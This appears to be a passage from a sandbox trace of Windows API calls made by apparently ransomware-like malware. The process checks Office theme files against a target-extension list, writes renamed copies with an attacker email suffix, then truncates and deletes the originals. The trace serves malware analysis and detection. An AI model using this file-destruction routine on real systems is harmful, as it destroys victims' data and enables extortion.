	[0185.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91
	[0185.604] lstrlenW (lpString=".jpg") returned 4
	[0185.604] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0185.604] lstrcmpiW (lpString1=".eftx", lpString2=".html") returned -1
	[0185.604] lstrlenW (lpString="Inset.eftx") returned 10
	[0185.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\inset.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0185.605] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=44971) returned 1
	[0185.605] CloseHandle (hObject=0x4a8) returned 1
	[0185.605] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\inset.eftx")) returned 0x220
	[0185.605] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\inset.eftx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0185.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\inset.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0185.606] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0185.606] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0185.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\inset.eftx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0185.610] GetLastError () returned 0x0
	[0185.610] ReadFile (in: hFile=0x4a8, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0xafab, lpOverlapped=0x0) returned 1
	[0185.613] WriteFile (in: hFile=0x538, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0xafb0, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0xafb0, lpOverlapped=0x0) returned 1
	[0185.616] ReadFile (in: hFile=0x4a8, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0185.616] WriteFile (in: hFile=0x538, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0xe8, lpOverlapped=0x0) returned 1
	[0185.616] SetEndOfFile (hFile=0x538) returned 1
	[0185.616] CloseHandle (hObject=0x538) returned 1
	[0185.616] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0185.616] SetEndOfFile (hFile=0x4a8) returned 1
	[0185.620] CloseHandle (hObject=0x4a8) returned 1
	[0185.620] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0185.621] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\inset.eftx")) returned 1
	[0185.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82
	[0185.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82
	[0185.627] lstrlenW (lpString=".doc") returned 4
	[0185.627] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0185.627] lstrlenW (lpString=".docx") returned 5
	[0185.627] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0185.627] lstrlenW (lpString=".pdf") returned 4
	[0185.627] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0185.627] lstrlenW (lpString=".xls") returned 4
	[0185.627] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0185.627] lstrlenW (lpString=".xlsx") returned 5
	[0185.627] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0185.627] lstrlenW (lpString=".ppt") returned 4
	[0185.627] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0185.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82
	[0185.627] lstrlenW (lpString=".zip") returned 4
	[0185.627] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0185.627] lstrlenW (lpString=".rar") returned 4
	[0185.627] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0185.627] lstrlenW (lpString=".bz2") returned 4
	[0185.627] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0185.628] lstrlenW (lpString=".7z") returned 3
	[0185.628] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0185.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82
	[0185.628] lstrlenW (lpString=".dbf") returned 4
	[0185.628] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0185.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82
	[0185.628] lstrlenW (lpString=".1cd") returned 4
	[0185.628] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0185.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82
	[0185.628] lstrlenW (lpString=".jpg") returned 4
	[0185.628] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0185.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82
	[0185.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82
	[0185.628] lstrlenW (lpString=".doc") returned 4
	[0185.628] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0185.628] lstrlenW (lpString=".docx") returned 5
	[0185.628] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0185.628] lstrlenW (lpString=".pdf") returned 4
	[0185.628] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0185.628] lstrlenW (lpString=".xls") returned 4
	[0185.628] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0185.628] lstrlenW (lpString=".xlsx") returned 5
	[0185.628] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0185.628] lstrlenW (lpString=".ppt") returned 4
	[0185.628] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0185.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82
	[0185.628] lstrlenW (lpString=".zip") returned 4
	[0185.628] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0185.628] lstrlenW (lpString=".rar") returned 4
	[0185.629] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0185.629] lstrlenW (lpString=".bz2") returned 4
	[0185.629] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0185.629] lstrlenW (lpString=".7z") returned 3
	[0185.629] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0185.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82
	[0185.629] lstrlenW (lpString=".dbf") returned 4
	[0185.629] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0185.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82
	[0185.629] lstrlenW (lpString=".1cd") returned 4
	[0185.629] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0185.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82
	[0185.629] lstrlenW (lpString=".jpg") returned 4
	[0185.629] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0185.629] lstrcmpiW (lpString1=".eftx", lpString2=".html") returned -1
	[0185.629] lstrlenW (lpString="Milk Glass.eftx") returned 15
	[0185.629] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\milk glass.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0185.630] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=46403) returned 1
	[0185.630] CloseHandle (hObject=0x4a8) returned 1
	[0185.630] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\milk glass.eftx")) returned 0x220
	[0185.630] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\milk glass.eftx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0185.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\milk glass.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0185.631] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0185.631] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0185.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\milk glass.eftx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0185.632] GetLastError () returned 0x0
	[0185.632] ReadFile (in: hFile=0x4a8, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0xb543, lpOverlapped=0x0) returned 1
	[0185.635] WriteFile (in: hFile=0x538, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0xb550, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0xb550, lpOverlapped=0x0) returned 1
	[0185.637] ReadFile (in: hFile=0x4a8, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0185.637] WriteFile (in: hFile=0x538, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0xf2, lpOverlapped=0x0) returned 1
	[0185.637] SetEndOfFile (hFile=0x538) returned 1
	[0185.637] CloseHandle (hObject=0x538) returned 1
	[0185.637] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0185.637] SetEndOfFile (hFile=0x4a8) returned 1
	[0185.641] CloseHandle (hObject=0x4a8) returned 1
	[0185.641] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0185.641] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\milk glass.eftx")) returned 1
	[0185.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87
	[0185.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87
	[0185.918] lstrlenW (lpString=".doc") returned 4
	[0185.918] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0185.918] lstrlenW (lpString=".docx") returned 5
	[0185.918] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0185.918] lstrlenW (lpString=".pdf") returned 4
	[0185.918] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0185.918] lstrlenW (lpString=".xls") returned 4
	[0185.918] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0185.918] lstrlenW (lpString=".xlsx") returned 5
	[0185.918] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0185.918] lstrlenW (lpString=".ppt") returned 4
	[0185.918] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0185.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87
	[0185.918] lstrlenW (lpString=".zip") returned 4
	[0185.918] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0185.918] lstrlenW (lpString=".rar") returned 4
	[0185.918] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0185.918] lstrlenW (lpString=".bz2") returned 4
	[0185.918] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0185.918] lstrlenW (lpString=".7z") returned 3
	[0185.918] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0185.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87
	[0185.919] lstrlenW (lpString=".dbf") returned 4
	[0185.919] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0185.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87
	[0185.919] lstrlenW (lpString=".1cd") returned 4
	[0185.919] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0185.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87
	[0185.919] lstrlenW (lpString=".jpg") returned 4
	[0185.919] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0185.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87
	[0185.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87
	[0185.919] lstrlenW (lpString=".doc") returned 4
	[0185.919] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0185.919] lstrlenW (lpString=".docx") returned 5
	[0185.919] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0185.919] lstrlenW (lpString=".pdf") returned 4
	[0185.919] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0185.919] lstrlenW (lpString=".xls") returned 4
	[0185.919] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0185.919] lstrlenW (lpString=".xlsx") returned 5
	[0185.919] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0185.919] lstrlenW (lpString=".ppt") returned 4
	[0185.919] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0185.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87
	[0185.919] lstrlenW (lpString=".zip") returned 4
	[0185.920] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0185.920] lstrlenW (lpString=".rar") returned 4
	[0185.920] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0185.920] lstrlenW (lpString=".bz2") returned 4
	[0185.920] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0185.920] lstrlenW (lpString=".7z") returned 3
	[0185.920] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0185.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87
	[0185.920] lstrlenW (lpString=".dbf") returned 4
	[0185.920] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0185.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87
	[0185.920] lstrlenW (lpString=".1cd") returned 4
	[0185.920] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0185.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87
	[0185.920] lstrlenW (lpString=".jpg") returned 4
	[0185.920] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0185.920] lstrcmpiW (lpString1=".eftx", lpString2=".html") returned -1
	[0185.920] lstrlenW (lpString="Smokey Glass.eftx") returned 17
	[0185.920] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\smokey glass.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0185.921] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=186195) returned 1
	[0185.922] CloseHandle (hObject=0x4a8) returned 1
	[0185.922] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\smokey glass.eftx")) returned 0x220
	[0185.922] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\smokey glass.eftx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0185.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\smokey glass.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0185.922] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0185.922] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0185.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\smokey glass.eftx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0185.923] GetLastError () returned 0x0
	[0185.923] ReadFile (in: hFile=0x4a8, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x2d753, lpOverlapped=0x0) returned 1
	[0185.932] WriteFile (in: hFile=0x368, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x2d760, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x2d760, lpOverlapped=0x0) returned 1
	[0185.940] ReadFile (in: hFile=0x4a8, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0185.940] WriteFile (in: hFile=0x368, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0185.940] SetEndOfFile (hFile=0x368) returned 1
	[0185.940] CloseHandle (hObject=0x368) returned 1
	[0185.940] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0185.940] SetEndOfFile (hFile=0x4a8) returned 1
	[0185.946] CloseHandle (hObject=0x4a8) returned 1
	[0185.946] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0185.947] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\smokey glass.eftx")) returned 1
	[0185.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89
	[0185.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89
	[0185.948] lstrlenW (lpString=".doc") returned 4
	[0185.948] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0185.948] lstrlenW (lpString=".docx") returned 5
	[0185.948] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0185.948] lstrlenW (lpString=".pdf") returned 4
	[0185.948] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0185.948] lstrlenW (lpString=".xls") returned 4
	[0185.948] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0185.948] lstrlenW (lpString=".xlsx") returned 5
	[0185.948] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0185.948] lstrlenW (lpString=".ppt") returned 4
	[0185.948] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0185.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89
	[0185.948] lstrlenW (lpString=".zip") returned 4
	[0185.948] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0185.948] lstrlenW (lpString=".rar") returned 4
	[0185.948] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0185.948] lstrlenW (lpString=".bz2") returned 4
	[0185.949] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0185.949] lstrlenW (lpString=".7z") returned 3
	[0185.949] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0185.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89
	[0185.949] lstrlenW (lpString=".dbf") returned 4
	[0185.949] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0185.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89
	[0185.949] lstrlenW (lpString=".1cd") returned 4
	[0185.949] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0185.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89
	[0185.949] lstrlenW (lpString=".jpg") returned 4
	[0185.949] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0185.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89
	[0185.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89
	[0185.949] lstrlenW (lpString=".doc") returned 4
	[0185.949] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0185.949] lstrlenW (lpString=".docx") returned 5
	[0185.949] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0185.949] lstrlenW (lpString=".pdf") returned 4
	[0185.949] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0185.949] lstrlenW (lpString=".xls") returned 4
	[0185.949] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0185.949] lstrlenW (lpString=".xlsx") returned 5
	[0185.949] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0185.949] lstrlenW (lpString=".ppt") returned 4
	[0185.949] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0185.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89
	[0185.949] lstrlenW (lpString=".zip") returned 4
	[0185.949] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0185.950] lstrlenW (lpString=".rar") returned 4
	[0185.950] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0185.950] lstrlenW (lpString=".bz2") returned 4
	[0185.950] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0185.950] lstrlenW (lpString=".7z") returned 3
	[0185.950] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0185.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89
	[0185.950] lstrlenW (lpString=".dbf") returned 4
	[0185.950] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0185.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89
